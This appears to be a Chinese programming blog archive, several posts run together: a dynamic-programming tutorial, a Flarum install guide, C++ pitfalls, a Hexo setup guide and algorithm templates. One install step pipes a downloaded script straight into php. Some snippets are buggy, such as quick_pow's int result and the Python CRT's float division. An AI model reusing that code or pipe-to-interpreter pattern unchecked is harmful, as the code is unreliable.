• this绑定的四种方式：new，显式，隐式，默认

理解箭头函数

• 箭头函数 - MDN

面向对象

• JS中的构造函数、原型、原型链
• 继承与原型链 - MDN
• Understanding "Prototypes" in JavaScript

模块

• JavaScript Modules: A Beginner’s Guide

函数式编程

• Mostly adequate guide to functional programming (in javascript)（中文译版）

CSS

• 10个好用的的css框架
• Primitive UI
• Material Design Lite

React

官方文档作为入门资料已经很好了。下面是进阶补充，主要是思想介绍：

• 轻松学会 React 钩子：以 useEffect() 为例
• React 设计思想
• 奇葩说框架之React编译原理
• 深入浅出 React （看云文档）
• React Patterns
• React 并发功能体验-前端的并发模式已经到来。

动态规划是一种通过把原问题分解为相对简单的子问题的方式求解复杂问题的方法。

动态规划是一种在 OI 中非常常见的算法。如上所述，动态规划的精髓在于子问题，然而并不是所有和子问题相关的算法都是动态规划。要搞清楚动态规划是什么、为什么、怎么用，我们可以从两种方向来认识。

重叠子问题

例题1：

蒜头君很喜欢爬楼梯，这一次，他获得了一个特异功能，每次可以跳跃任意奇数的阶梯。比如他初始在楼底，跨越一个阶梯到达 11 号阶梯，或者跨越 3 个楼梯到达 3 号阶梯。如下图

为了选出一种最轻松的爬楼梯的方式，蒜头君想把所有不同的到达楼顶的方式都尝试一遍。对于一共有 \(n\) 个阶梯的楼梯，蒜头君一共有多少种方法从楼底到达楼顶？

最暴力的做法就是递归搜一遍：

1
2
3
4
5
6
7
8
9
10
11
12

typedef long long ll;
ll path(ll n) {
    if (n == 0) {
        return 1;
    } else {
        ll ans = 0;
        for (int i = 1; n - i >= 0; i += 2) {
            ans += path(n - i);
        }
        return ans;
    }
}

时间复杂度 \(O(n!)\)，但其实这离答案就差一点。

Tips: 你要知道第 \(n\) 个阶梯的方案数，你只需要知道到第 \(n-1\), \(n-3\), \(n-5\)…… 个阶梯的方案数。

我怎么知道？存下来就行了呗：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

typedef long long ll;
ll memory[MAXN] = {0};
ll path(ll n) {
    if (memory[n]) {
        return memory[n];
    }
    if (n == 0) {
        return 1;
    } else {
        ll ans = 0;
        for (int i = 1; n - i >= 0; i += 2) {
            ans += path(n - i);
        }
        memory[n] = ans;
        return ans;
    }
}

这么一来，时间复杂度就变成 \(O(n)\) 了。

思路：因为 \[ path_{n} =path_{n-1} +path_{n-3}+...+path_{n-(2k-1)} \] 所以用数组记录每个子问题的解以避免重复计算。

这就是重叠子问题，通过对重叠子问题的记忆，可以极大地优化很暴力的算法。

重叠子问题，在编程层面上常常表现为纯函数。如果你曾经接触过函数式编程（比如使用 React 之类的库或者 Haskell 语言），你可能听说过这个概念。纯函数是一个满足以下条件的函数：

• 输入参数相同时，输出值相同。
• 不能有语义上可观察的副作用，比如更改输出值以外变量的内容等。

上文所述 path 函数正好满足这些要求。因此，我们可以放心地根据参数缓存它的返回值。

最优子结构

Leetcode 最小路径和

给定一个包含非负整数的 \(m\times n\) 网格 grid ，请找出一条从左上角到右下角的路径，使得路径上的数字总和为最小。

说明：每次只能向下或者向右移动一步。

同样先用递归写

1
2
3
4
5
6
7
8
9
10
11
12

typedef long long ll;
int min_path(int x, int y) {
    if (x == 1 && y == 1) {
        return grid[x][y];
    } else if (x == 1) {
        return min_path(x, y - 1) + grid[x][y];
    } else if (y == 1) {
        return min_path(x - 1, y) + grid[x][y];
    } else {
        return min(min_path(x - 1, y), min_path(x, y - 1)) + grid[x][y];
    }
}

你现在肯定在想：记忆化！开个数组 min_path[x][y] 把遍历到的结果全存下来，如果已经算过直接返回不就行了！

先等一下，我们先想想，这个 min_path 函数在语义上是什么用途呢？是从 \((1,1)\) 前往 \((x,y)\) 的最小距离。那你怎么就肯定 \((x,y)\) 变了以后，你存下来的还是对应的最短距离呢？

换句话说，记忆化的前提是：无论终点是哪一个，到达终点的路径上的点之间走的全部都是最短距离，不存在有需要绕路的情况。

这就是最优子结构。一个解是最优的，那么它在子问题中也必定是最优的。

再看一道题：

P1541 [NOIP2010 提高组] 乌龟棋

简单写个暴力递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#include <cstring>
#include <iostream>
using namespace std;
const int MAXN = 351;
const int MAXM = 121;
int a[MAXN];
int b[MAXM];
bool used[MAXM];
int n, m;
int max_scores(int x) {
    if (x == 1) {
        return a[x];
    } else {
        int ans = 0;
        for (int i = 1; i <= m; i++) {
            if (!used[i]) {
                used[i] = true;
                ans = max(ans, max_scores(x - b[i]) + a[x]);
                used[i] = false;
            }
        }
        return ans;
    }
}
int main() {
    cin >> n >> m;
    for (int i = 1; i <= n; i++) {
        cin >> a[i];
    }
    for (int i = 1; i <= m; i++) {
        cin >> b[i];
    }
    memset(used, 0, sizeof(used));
    cout << max_scores(n);
}

这时候，还能记忆化吗？

不行了。因为函数返回的值不但跟终点位置 x 有关，还跟使用爬行卡片情况的数组 used 有关。显然，这个函数不满足上面所说纯函数的两个要求。如果你把 used 也当成参数加进来，那么每次 used 的值都会不同，记忆化没有意义。

这是为什么呢？原因就是现在我们的函数 max_scores(int x) 不具有最优子结构了。当前贪心地把前 x 个格子的分数拿到最大用掉了爬行卡片，后面就会受影响得不到最优的结果。正是因为有了最优子结构，子问题才会重叠。最优子结构是因，重叠子问题是果。

那，这题就不能用动态规划做了？

仔细观察题目：

分成4种不同的类型（\(M\) 张卡片中不一定包含所有 4 种类型的卡片，见样例），每种类型的卡片上分别标有 1, 2, 3, 4 四个数字之一。

总共只有四种类型的卡片，而相同数字的卡片没有任何区别。重叠子问题！写一下试试：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

#include <algorithm>
#include <cstring>
#include <iostream>
using namespace std;
const int MAXN = 351;
const int MAXM = 121;
const int MAXB = 41;
int score[MAXN];
int n, m;
int memory[MAXB][MAXB][MAXB][MAXB];
int max_scores(int* use) {
    if (memory[use[0]][use[1]][use[2]][use[3]]) {
        return memory[use[0]][use[1]][use[2]][use[3]];
    }
    if (use[0] == 0 && use[1] == 0 && use[2] == 0 && use[3] == 0) {
        return score[1];
    } else {
        int ans = 0;
        int x = 1;  // start from 1
        for (int i = 0; i < 4; i++) {
            x += use[i] * (i + 1);
        }
        for (int i = 0; i < 4; i++) {
            if (use[i] != 0) {
                use[i]--;
                ans = max(ans, max_scores(use) + score[x]);
                use[i]++;
            }
        }
        memory[use[0]][use[1]][use[2]][use[3]] = ans;
        return ans;
    }
}
int main() {
    cin >> n >> m;
    for (int i = 1; i <= n; i++) {
        cin >> score[i];
    }
    int b;
    int cnt[4] = {0, 0, 0, 0};
    for (int i = 1; i <= m; i++) {
        cin >> b;
        cnt[--b]++;
    }
    cout << max_scores(cnt);
}

顺利 AC. 我们可以发现，选取递归函数的参数和语义是解决此问题的关键。

虽然这个函数在形式上仍然不满足纯函数的要求，但是这仅仅是为了方便。你完全可以用更加啰嗦的形式，将参数由一个数组指针改成四个整型，把这个函数改造成一个纯函数。

形式不重要

动态规划在狭义上一般都是从最小的子问题开始，一步一步求解更大规模的问题，所以它的实现都是循环，而不是递归。然而，上面讲的全部都是递归，这种方法会被单独称作记忆化搜索。但是我这么做的原因正是想说明一点：形式不重要，重要的是子问题的解之间的依赖关系。

这里引用知乎上的一篇回答：

动态规划的初衷是，

通过找到合适的角度，将所求解的目标值在某（几）个维度上展开，使得最终的目标能变成一个函数在某组自变量下的值：比如在经典题目数字三角形中，将“和”在“横纵坐标”上展开，那么最终的目标就是 \(max\{f(n - 1, i)\}\)，\(i\) 从 \(0\) 到 \(n-1\).

这种展开需要满足的性质是：首先，展开后，函数值是可以由自变量唯一确定的；其次，函数有一种递推表达式；最后，可以通过某种求值顺序（待求的所有函数值的依赖关系形成一个有向无环图），从显然的初值开始依次求，直到目标值。

至于是用循环解，还是记忆化搜索解，还是用 BFS 或者 DFS 解，都不本质。这个依赖于上文所说的有向无环图的结构。

而求解这个问题，正是遍历这张有向无环图上和答案点直接或间接相连的所有点。

我们可以用最暴力的方法去递归，这就对应着在那个有向无环图中从我们要求解的那个点开始，完全按照有向边走。可以想见，这么走必定会大量重复经过点，这就是它低效的原因。

那我们可以怎么优化呢？记忆化搜索给出的答案是把走过的点的结果存起来，下一次就不往下走了，这样就避免了绝大部分重复经过的情况。

而使用循环的动态规划则是从最底部已知的边界点开始，倒着往上遍历。它并不依赖图之间的有向边遍历，而是按照预设好的路线遍历。这就需要保证遍历到的每个点的依赖都已被遍历。

所以说，能用动态规划求解的问题一定能用记忆化搜索求解。

计算机只会穷举。所有算法都是在充分利用给定的条件，让计算机更优雅地穷举。

本文采用 Ubuntu 20.04 LTS.

安装 MariaDB、PHP 和 Composer

更新源

1

sudo apt update

首先安装 php（Apache 2 的 php 模块）

1

sudo apt-get install apache2 mariadb-server php7.4 libapache2-mod-php7.4 php7.4-common php7.4-mbstring php7.4-xmlrpc php7.4-soap php7.4-mysql php7.4-gd php7.4-xml php7.4-curl php7.4-cli php7.4-zip php7.4-tokenizer wget unzip curl git -y

然后全局安装 Composer

1
2

curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer

配置数据库

运行

1

sudo mysql_secure_installation

• Enter current password for root (enter for none): Just press the Enter
• Set root password? [Y/n]: Y
• New password: Enter password
• Re-enter new password: Repeat password
• Remove anonymous users? [Y/n]: Y
• Disallow root login remotely? [Y/n]: Y
• Remove test database and access to it? [Y/n]: Y
• Reload privilege tables now? [Y/n]: Y

1
2
3
4
5
6

sudo mysql -u root -p
create database flarum character set utf8mb4 collate utf8mb4_unicode_ci;
CREATE USER 'flarumuser'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON flarum.* TO 'flarumuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;

安装 Flarum 并配置 Apache

创建目录并使当前用户成为所有者。这是为了避免以 root 运行 Composer.

1
2

sudo mkdir -p /var/www/flarum
sudo chown -R $USER:$USER /var/www/flarum

安装

1
2

cd /var/www/flarum
composer create-project flarum/flarum .

然后，使 Apache 成为该目录的所有者

1

sudo chown -R www-data:www-data /var/www/flarum

添加 Apache 的 VirtualHost

1

sudo vim /etc/apache2/sites-available/flarum.conf

写入以下内容

1
2
3
4
5
6
7
8
9
10
11
12

<VirtualHost *:80>
    ServerAdmin admin@your_domain.com
    DocumentRoot /var/www/flarum/public
    ServerName your-server
    <Directory /var/www/flarum/public>
        Options FollowSymlinks
        AllowOverride All
        Require all granted
    </Directory>
    ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log
    CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined
</VirtualHost>

启用新的 VirtualHost 和 URL 重写模块，并通过重启服务来应用更改。

1
2
3
4

sudo a2ensite flarum
sudo a2enmod rewrite
sudo a2dissite 000-default.conf
sudo systemctl restart apache2

检查是否已打开防火墙。

配置 HTTPS

安装 certbot

1

sudo apt install certbot python3-certbot-apache

确保 flarum.conf 中填入了正确的域名。

允许 SSL 通过防火墙

• 检查云服务提供商的防火墙已打开 443 端口
• 检查 ufw 设置 sudo ufw status

申请 SSL 证书

1

sudo certbot --apache

变量运算过程中溢出

Codeforces #137522685

Diagnostics detected issues [cpp.clang++-diagnose]: p71.cpp:66:40: runtime error: signed integer overflow: 99999 * 100000 cannot be represented in type 'int'

尽管指定运算结果会被赋值/加到一个较大的数据类型（比如 long long），运算过程中仍然会有精度问题。

解决方案：保证所有运算中变量数据类型一致。

std::cout 输出浮点数精度问题

std::cout << std::cout.precision(); 默认输出为 6. 即最多输出小数点后 6 位。

解决方案：

• std::cout << std::setprecision(int n)
• printf("pi = %.5f", 4*atan(1.0));

负数取余取模问题

在数学上模运算一般是根据欧几里得除法（带余除法）定义的：

对于任意整数 \(a\), \(b\) \((b\neq 0)\) 存在唯一的整数 \(q\) 和 \(r\) 使得 \(0 \leq r < |b|\) 且

\[ a = bq + r \]

则 \(r = a \bmod b\).

注意，这里规定了 \(r \geq 0\).

对于 \(a \geq 0, b > 0\) 的情况，一切正常。

但是如果 \(a < 0\) 问题就出现了：

\[ \begin{align*} -5 &= 3 \cdot (-1) + (-2) \\ -5 &= 3 \cdot (-2) + 1 \end{align*} \]

按照上面的定义 \(-5 \bmod 3 = 1\)，但是在 C++ 中结果是 \(-2\).

为什么？这是因为 C++ 的 % 运算符是取余而非取模。

1
2
3

int remainder(int a, int b) {
    return a - (a / b) * b;
}

换句话说，C99 标准要求，a == b * (a / b) + a % b. 也即 q = a / b，r = a % b.

\(-5/3 = -1.\dot{6}\)，按照 C++ 的标准去掉小数部分即为 \(-1\). 这就是问题所在：C++ 中的商取整永远都是朝着 0 取。

再来看几个例子：

\[ \begin{align*} -5 &= (-3) \cdot 1 + (-2)\\ -5 &= (-3) \cdot 2 + 1 \end{align*} \]

而 C++ 中 -5 / -3 = 1 所以 -5 % -3 = -2. 如果商取整朝着负无穷取的话，那么结果的正负号和除数一致。

\[ \begin{align*} 5 &= (-3) \cdot (-1) + 2\\ 5 &= (-3) \cdot (-2) - 1 \end{align*} \]

此时 % 运算符和取模匹配。

据此我们可以归纳得出，C++ 中的 % 运算符结果正负号与被除数一致。当被除数大于等于 0 的情况下，% 运算符和取模结果一致。否则需要在结果上加上除数的绝对值。

1
2
3
4

int mod(int a, int b) {
    int r = a % b;
    return r < 0 ? r + abs(b) : r;
}

最后来看看 Python:

1
2
3
4
5
6

>>> -5 % 3
1
>>> -5 % -3
-2
>>> 5 % -3
-1

显然 Python 中商取整都是朝着负无穷取。

1
2
3
4
5
6

>>> -5 // 3
-2
>>> -5 // -3
1
>>> 5 // -3
-2

本文的标题中强调了“零基础”，但是你仍然需要用到一些常见的开发工具。但请放心，上手使用这些工具并不难！这只需要你有足够的耐心，和一定的信息搜索能力。另外，如果能稍微了解一下原理而不是不求甚解拿来就用，那么维护博客对你来说就更不是件难事。

从这里开始

Hexo 使用 Markdown 作为文章的格式，所以你需要了解 Markdown 标记语言 并选择一个趁手的 Markdown 编辑器。这方面的选择很多，我个人以前一直在用 Typora，但是最近它开始收费了。所以我推荐你用开源的在线 Markdown 编辑器 Arya. 即时预览的界面用起来几乎把学习成本降到了最低。

原理

为什么 Hexo 的运作不需要服务器呢？其实 Hexo 只干了一件事：把编辑器输出的 Markdown 文档（Microsoft Word 虽然也是这一类文件，但是不被 Hexo 支持）转换成 HTML 5 网页（包括 HTML、CSS、JavaScript）。而这些网页从此就算「独立」了：不需要与生成它的那台机器相连接，它自己就能在任何能打开它的浏览器上工作，也不需要在任何服务器上运行代码。所以，我们只需要给这些网页找一个「网盘」（前提是得支持 HTTP 连接），就能通过访问这个网盘打开网页了。

而是谁运行 Hexo，编译输出网页呢？我们这里用的是 Cloudflare 免费提供的自动构建服务器。你也可以在你自己的计算机上做这个事情，具体操作请看 Hexo 官方文档。

注册

你需要在两个地方注册账号：

• GitHub：与 Git 深度集成，用于存放博客源代码库。
• Cloudflare：用于托管编译出的博客。

这两者都只需要邮箱注册。另外尽管这次使用 Cloudflare 提供的托管服务，GitHub 同样也有类似的 GitHub Pages，而它提供的域名其中一部分将是你的用户名。加上用户名注册后不可更改，建议你选一个你喜欢的、好记且好输入的用户名。

配置

注册完成之后请打开我预先准备好的 模板。然后点击 Use this template，填入你的存储库名称（如 blog-source）然后直接点击 Create repository from template.

登入 Cloudflare 控制台，点击右边栏的 Pages，然后点击 Create a project. 再下一个页面中点击 Connect GitHub，授权访问你刚刚创建的存储库（或者所有存储库）。再次回到创建 project 的页面，选中你的存储库并下一步。

• 在 Project name 中填入你博客的名字（将成为你博客域名中的一部分，所以建议你选一个你喜欢的、好记且好输入的名字）
• 在 Build command 中填入 npm run build
• 在 Build output directory 中填入 public

其他都保持默认，点击 Save and deploy.

等2到3分钟后，访问 [名字].pages.dev，看看博客是不是已经出现了？

自定义

Hexo 的配置是用 YAML 格式 写的。所以简单了解一下它的格式会极大地帮助你修改配置以及减少出错概率。但是目前来说，你只需要记住以下几点：

• 数据之间的层级关系是通过缩进来体现的，所以你必须严格遵守缩进，且只能使用空格。
• 单个配置值使用冒号结构表示 key: value，注意冒号后有一个空格。
• # 开头的为注释

准备好后打开你刚刚在 GitHub 上创建的博客存储库，点开主目录下的 _config.yml 文件，然后在文件内容上方的右侧找到修改按钮（图标为一支笔）点开。

这时你就在修改你的 Hexo 配置文件了，这个配置文件的详细说明文档在 此处。但如果你没有额外要求，只用改以下几个部分：

• title 网站标题
• subtitle 网站副标题（可选）
• author 你的名字
• url 填入[名字].pages.dev

填好以后直接点击 Commit changes 提交更改。

可选：然后重复相同的步骤，修改 _config.next.yml 文件，这是主题的配置文件。详细文档在 此处。你可以参考 文档 挑选一个你喜欢的主题。在大多数情况下，你不需要修改其它的配置。

修改完以后过2到3分钟再次访问你的博客，看看有什么变化？

写作

你的文章存放在 source/_posts 目录中，修改文章的方式和修改配置基本相同，但是有一点需要注意：每个文章开头都会有这一段：

1
2
3
4
5
6

---
title: Hello World
date: 2021-01-01 00:00:00 +08:00
tags: [标签1,标签2,标签3]
mathjax: true
---

这个叫做 YAML front matter，其实就是在 Markdown 文件头部加了一段 YAML 格式的配置/说明。你需要注意的是如果文章中有数学公式需要加上一行 mathjax: true。

小技巧：Hexo 会使用每篇文章的文件名作为它的 URL，但是中文出现在 URL 中很不美观，你可以把文章英文名作为 Markdown 文件的名字（全部小写，空格换成短横线，如 hello-world），然后在 title: 你好世界 这里写这篇文章的中文名。实际页面中文章的名字全部取决于这个 title 的值。

如果要新建一篇文章，你可以导航到 source/_posts 目录，然后点击 Add file，选择创建新文件（直接在网页编辑）或是从本地上传 Markdown 文件。

每次博客存储库有更改，在2到3分钟后网站即会更新。

对拍脚本

Win32 Command Prompt

1
2
3
4
5
6
7
8
9

@echo off
:loop
python a.py < stdin.txt > myout.txt
fc stdout.txt myout.txt
if not errorlevel 1 echo ok
::choice /t 1 /d y /n >nul
pause
cls
goto :loop

基础算法

快速幂

1
2
3
4
5
6
7
8
9
10
11
12

typedef long long ll;
ll quick_pow(ll base, ll exp) {
    int result = 1;
    while (exp) {
        if (exp & 1) {
            result *= base;
        }
        exp >>= 1;
        base *= base;
    }
    return result;
}

二分查找

给定长度为n的数组（\(n\geq 1\)）

问题1：找到值为value的元素的下标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int BinarySearch(int array[], int n, int value) {
    int left = 0;
    int right = n - 1;
    while (left <= right) {
        // 注意防止溢出
        int middle = left + ((right - left) >> 1);
        if (array[middle] > value) {
            right = middle - 1;
        } else if (array[middle] < value) {
            left = middle + 1;
        } else {
            return middle;
        }
    }
    return -1;
}

问题2：找到第一个值为value的元素的下标

这时候遇到相等也不能直接返回，只能排除掉右侧的所有数。

数组的长度为 1 或 2 时，middle为 0. 若array[0]为要找的数，则right将被赋值为 -1，循环结束，left为答案。数组长度为 2 且array[1]为要找的数时，left将被赋值为 1，回到数组长度为 1 的情况。

因此最后再判断一下left是否为要找的数，如果是则返回，否则答案不存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

int BinarySearch(int array[], int n, int value) {
    int left = 0;
    int right = n - 1;

    while (left <= right) {
        int middle = left + ((right - left) >> 1);

        if (array[middle] >= value) {
            right = middle - 1;
        } else {
            left = middle + 1;
        }
    }

    if (left < n && array[left] == value) {
        return left;
    }
    return -1;
}

问题3：找到最后一个值为value的元素的下标

这就是问题2的倒序版本。改动两个地方即可

1. if (array[middle] >= value) 中的等号去掉；

2. if (right >= 0 && array[right] == value) {return right;}

问题4：找到第一个大于等于value的下标

在问题2中，我们的策略是让left刚好为第一个大于等于value的数的下标，而让right刚好为第一个小于value的数的下标。因此只需要去掉最后判断答案存在的array[left] == value条件即可。

问题5：找到最后一个小于等于value的下标

与问题4同理，去掉问题3中最后判断答案存在的array[right] == value条件。

数论

欧拉筛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

bool is_prime[MAXN];
int prime[MAXN];
int sieve(int n) {
    memset(is_prime, 1, sizeof(is_prime));
    is_prime[1] = 0;
    int cnt = 0;
    for (int i = 2; i <= n; i++) {
        if (is_prime[i]) {
            prime[++cnt] = i;
        }
        for (int j = 1; j <= cnt && i * prime[j] <= n; j++) {
            is_prime[i * prime[j]] = 0;
            if (i % prime[j] == 0) {
                break;
            }
        }
    }
    return cnt;
}

辗转相除法求最大公因数（Greatest Common Divisor）

最大公因数的算法是辗转相除法，基于一个原理：如果\(a>b\)则\(gcd(a,b)=gcd(b,a-b)\).

如果\(a-b>b\)，那么就继续相减到\(a-b<b\)为止，所以直接\(gcd(a,b)=gcd(b,a\bmod b)\).

代码：

1
2
3
4
5
6
7
8
9

int gcd(int a, int b) {
    int tmp;
    while (b != 0) {
        tmp = a;
        a = b;
        b = tmp % b;
    }
    return a;
}

最小公倍数（Least Common Multiple）

两个数的最大公因数（Greatest Common Divisor）就是它们质因数的交集的乘积

考虑最小公倍数的性质。最小公倍数必须被\(a\)或\(b\)整除，也就是说最小公倍数必须同时包含这两数的所有质因数，所以是它们质因数的并集的乘积。怎样得到这个乘积？\(a\times b\)，然后容斥除掉共同的质因数\(gcd(a,b)\)就好了。 \[ lcm(a,b)=\dfrac{a\times b}{gcd(a,b)} \] 实际编程中一般先除后乘，防止溢出。

代码：

1
2
3

int lcm(int a, int b) {
    return a / gcd(a, b) * b;
}

裴蜀定理

裴蜀定理，又称贝祖定理（Bézout's lemma）。是一个关于最大公约数的定理。

其内容是：

设 \(a,b\) 是不全为零的整数，则存在整数 \(x,y\), 使得 \(ax+by=\gcd(a,b)\).

证明：

1
2
3

int gcd(int a, int b) {
    return b ? gcd(b, a%b) : a;
}

在函数返回之前，存在 \(b=0\) . 这时显然有 \(x=1,y=0\) 使得

\[ a\cdot 1+0\cdot 0=gcd(a,0) \]

0 和任何数的最大公约数都等于原数。

当\(b>0\)时，有\(gcd(a,b)=gcd(b,a\bmod b)\). 假设存在\(x,y\)使得

\[ bx+(a\bmod b)y=gcd(b,a\bmod b) \]

且

\[ a\bmod b=a-b\cdot \left\lfloor \dfrac{a}{b} \right\rfloor \]

所以

\[ \begin{aligned} bx+(a\bmod b)y&=bx+\left(a-b\cdot \left\lfloor \dfrac{a}{b} \right\rfloor\right)y\\ &=ay-b\left(x-\left\lfloor \dfrac{a}{b} \right\rfloor y\right ) \end{aligned} \]

令 \(x'=y,\ y'=x-\left\lfloor \dfrac{a}{b} \right\rfloor y\) ，可得

\[ ax'+by'=gcd(a,b) \]

用归纳法即可得证。

参考：https://www.cnblogs.com/fusiwei/p/11775503.html

扩展欧几里得

为什么叫它扩展欧几里得呢？因为它就是在欧几里得算法（辗转相除法）求得 \(gcd(a,b)\) 的基础上，像上面裴蜀定理的证明那样倒着回溯找了一组 \(x,y\) 满足

\[ ax+by=gcd(a,b) \]

具体代码请看下面的线性同余方程。

线性同余方程（线性丢番图方程）

形如 \(ax\equiv c\pmod b\) 的方程被称为线性同余方程 (Congruence Equation)。

求解方法

根据以下两个定理，我们可以求出同余方程 \(ax \equiv c \pmod b\) 的解。

定理 1：方程 \(ax+by=c\) 与方程 \(ax \equiv c \pmod b\) 是等价的，有整数解的充要条件为 \(\gcd(a,b) \mid c\) 。

根据定理 1，方程 \(ax+by=c\)，我们可以先用扩展欧几里得算法求出一组 \(x_0,y_0\) ，也就是 \(ax_0+by_0=\gcd(a,b)\) ，然后两边同时除以 \(\gcd(a,b)\) ，再乘 \(c\) 。然后就得到了方程 \(a\dfrac{c}{\gcd(a,b)}x_0+b\dfrac{c}{\gcd(a,b)}y_0=c\) ，然后我们就找到了方程的一个解。

定理 2：若 \(\gcd(a,b)=1\) ，且 \(x_0\)、\(y_0\) 为方程 \(ax+by=c\) 的一组解，则该方程的任意解可表示为：\(x=x_0+bt\) ，\(y=y_0-at\) , 且对任意整数 \(t\) 都成立。

根据定理 2，可以求出方程的所有解。但在实际问题中，我们往往被要求求出一个最小整数解，也就是一个特解 \(x=(x \bmod t+t) \bmod t\)，其中 \(t=\dfrac{b}{\gcd(a,b)}\)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

int ex_gcd(int a, int b, int& x, int& y) {
  if (b == 0) {
    x = 1;
    y = 0;
    return a;
  }
  int d = ex_gcd(b, a % b, x, y);
  int temp = x;
  x = y;
  y = temp - a / b * y;
  return d;
}
bool liEu(int a, int b, int c, int& x, int& y) {
  int d = ex_gcd(a, b, x, y);
  if (c % d != 0) return 0;
  int k = c / d;
  x *= k;
  y *= k;
  return 1;
}

Python 版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def exgcd(a, b):
    if b == 0:
        return (1, 0)
    m, n = exgcd(b, a%b)
    # recursion invariant: b * m + (a%b) * n == gcd(b,a%b) == gcd(a,b)
    # let a = b * q + a%b
    # then b * m + (a - b * q) * n == gcd(a,b)
    # thus a * n + b * (m - n * q) == gcd(a,b)
    q = a // b
    return (n, m - n * q)

def CRT(a, r):
    n = reduce(lambda x, y: x*y, r)
    ans = 0
    for i in range(len(a)):
        m = n / r[i]
        mi, _ = exgcd(m, r[i]) # m's multiplicative inverse
        ans += a[i] * m * mi
        ans %= n
    return ans

常用 STL

比较两个 string 是否相等

std::string::compare

返回值

从容器中删除指定的元素

从字符串中删除某些字符

1
2
3
4
5
6

#include <algorithm>
void removeCharsFromString( string &str, char* charsToRemove ) {
   for ( unsigned int i = 0; i < strlen(charsToRemove); ++i ) {
      str.erase(remove(str.begin(), str.end(), charsToRemove[i]), str.end());
   }
}

std::remove

1
2

template <class ForwardIterator, class T>
  ForwardIterator remove (ForwardIterator first, ForwardIterator last, const T& val);